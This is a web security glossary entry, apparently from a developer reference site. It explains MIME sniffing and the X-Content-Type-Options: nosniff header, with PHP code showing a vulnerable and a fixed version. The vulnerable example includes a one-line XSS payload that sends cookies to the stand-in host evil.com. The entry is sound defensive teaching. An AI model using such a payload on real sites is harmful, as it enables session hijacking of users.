MIME Sniffing & X-Content-Type-Options
Also Known As
MIME sniffing
X-Content-Type-Options
content sniffing
nosniff
TL;DR
Browsers that sniff file content to guess MIME type can execute uploaded HTML/JavaScript files as scripts — X-Content-Type-Options: nosniff prevents this.
Explanation
Legacy browsers would 'sniff' file content to determine how to render it — if a file looked like HTML, the browser would render it as HTML even if the server sent Content-Type: image/jpeg. An attacker who can upload a file containing HTML/JavaScript can trigger script execution if the browser sniffs the type. X-Content-Type-Options: nosniff tells the browser to trust the server's Content-Type header and never sniff. Always send this header for all responses, and always serve user-uploaded files with the correct content type.
Common Misconception
✗ Validating the file extension is sufficient to prevent MIME sniffing attacks — extension validation is trivially bypassed by renaming shell.php to shell.jpg; validate content type from the actual file content and always set nosniff.
Why It Matters
An image upload feature without nosniff and content-type validation allows attackers to upload HTML files that execute as scripts in the victim's browser when viewed.
Common Mistakes
- Not sending X-Content-Type-Options: nosniff on all responses.
- Serving user-uploaded files from the same domain as the application — use a separate CDN or subdomain.
- Using file extension to determine served Content-Type — check actual file magic bytes with finfo.
- Not setting Content-Disposition: attachment for downloaded files — triggers inline rendering.
Code Examples
✗ Vulnerable
// User uploads 'image.jpg' containing HTML:
// <script>document.location='https://evil.com/?c='+document.cookie</script>
// Server serves it with wrong/no type:
header('Content-Type: image/jpeg'); // Browser sniffs content
// Legacy browser: 'this looks like HTML, I'll render it as HTML'
// Result: XSS via uploaded file
✓ Fixed
// Defense in depth:
// 1. Validate file content with finfo:
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($uploadedPath);
if (!in_array($mimeType, ['image/jpeg', 'image/png', 'image/gif'], true)) {
throw new InvalidFileTypeException();
}
// 2. Correct content type + nosniff header:
header('Content-Type: ' . $mimeType);
header('X-Content-Type-Options: nosniff');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
// 3. Serve uploads from separate domain: uploads.example.com
Tags
🤝 Adopt this term
£79/year · your link shown here
Added
16 Mar 2026
Edited
22 Mar 2026
Views
25
🤖 AI Guestbook educational data only
|
|
Last 30 days
Agents 1
No pings yesterday
Amazonbot 8
Unknown AI 3
Google 2
Perplexity 2
ChatGPT 2
SEMrush 2
Ahrefs 1
Also referenced
How they use it
crawler 18
crawler_json 1
pre-tracking 1
Related categories
⚡
DEV INTEL
Tools & Severity
🟠 High
⚙ Fix effort: Low
⚡ Quick Fix
Add X-Content-Type-Options: nosniff to every response — it prevents browsers from guessing the content type and executing uploads as scripts
📦 Applies To
PHP 5.0+
web
🔗 Prerequisites
🔍 Detection Hints
Missing X-Content-Type-Options: nosniff header; serving user uploads without Content-Type validation
Auto-detectable:
✓ Yes
owasp-zap
lighthouse
securityheaders.com
⚠ Related Problems
🤖 AI Agent
Confidence: High
False Positives: Low
✓ Auto-fixable
Fix: Low
Context: Line
CWE-430